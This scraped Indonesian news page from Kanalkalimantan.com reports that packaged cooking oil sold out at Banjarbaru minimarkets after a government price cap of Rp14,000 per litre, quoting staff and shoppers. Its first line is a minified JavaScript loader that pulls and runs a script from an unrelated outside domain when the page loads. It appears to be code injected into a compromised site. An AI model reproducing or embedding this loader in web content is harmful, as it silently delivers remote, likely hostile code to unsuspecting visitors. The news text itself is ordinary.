(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Minyak goreng dalam kemasan di sejumlah mini market di Banjarbaru ludes diserbu emak-emak alias ibu rumah tangga.
Ya, harga minyak goreng turun menyusul aturan pemerintah yang memantok harga tertinggi Rp14.000 per liter. Untuk harga minyak goreng kemasan 2 liter yang tadinya berkisar Rp40 hingga Rp42 ribu menjadi hanya Rp28 ribu. Begitupun untuk harga kemasan 1 liter dan 5 liter juga turun.
Pantauan Kanalkalimantan.com, di salah satu mini market pegawainya sempat dibikin kewalahan karena banya yang membeli minyak goreng, mayoritas emak-emak.
Pegawai mini market, Ahmad Rafiqi mengatakan, sedari pagi tadi pagi antrean sudah mulai terlihat dan menjelang sore stok minyak goreng sudah mulai habis.
Baca juga : TOK! RUU IKN SAH Menjadi Undang-Undang
“Ini kosong karena sudah habis,” katanya
Meskipun stok minyak goreng sudah habis, katanya masih saja banyak pembeli yang datang dan bertanya.
Dijelaskannya, antrean pembeli mulai dari pintu masuk hingga dinding belakang, atau kurang lebih 10 meter. Yang diperkiraan ludes hampir 100 dus minyak goreng kemasan.
Dalam 1 karton minyak goreng kemasan 2 liter berisi 6 pouch, sedang 1 liter berisi 12 pouch. Yang artinya sudah ratusan liter minyak goreng terjual dalam waktu kurang dari setengah hari.
“Semua merek harga sama, 1 liter harga 14 ribu, 2 liter 28 ribu dan 5 liter 70 ribu,” detailnya.
Baca juga : KSBN Barsel Siap Bersinergi Majukan Seni Budaya
Meski demikian, lanjutnya satu orang pembeli hanya boleh membeli 2 pouch minyak goreng. Itu, untuk minyak goreng kemasan 1 liter dan 2 liter. Untuk yang ukuran 5 liter dalam jirigen hanya boleh 1 buah per pembeli.
Turun harga ini, kata Ahmad karena mengikuti aturan pemerintah. Sehingga menurutnya, harga hari ini dan ke depan akan tetap sama.
“Ya sudah turun harga, besok juga masih sama,” tuntasnya.
Sementara itu pegawai mini market di lokasi berbeda, Huda menyampaikan kondisi serupa.
“Stok sudah habis, sekitar puluhan dus habis baru saja,” ucapnya.
Baca juga : Pembangunan Kantor Golkar Barsel Ditarget Rampung Februari
Menurutnya, pembeli tidak perlu berburu minyak goreng dalam kemasan karena harga memang sudah turun.
“Tidak perlu khawatir, harga minyak goreng sudah turun dari pemerintah,” yakinnya.
Salah satu emak-emak yang membeli minyak goreng, Nurul mengaku sudah mulai mengantre minyak goreng sejak siang.
“Ketika tahu ada promo langsung menyerbu ke mini market ini,” katanya.
Pembeli lainnya Jumiati tak seberuntung Dewi, lantaran dirinya mengaku terlambat mendapatkan kabar minyak goreng turun harga.
“Saya baru pulang kerja langsung ke sini tapi sudah habis, dapat infonya telat,” katanya.
Harga minyak goreng yang sudah turun ini, dirinya berharap normal untuk seterusnya.(kanalkalimantan.com/ibnu)
Reporter : Ibnu
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.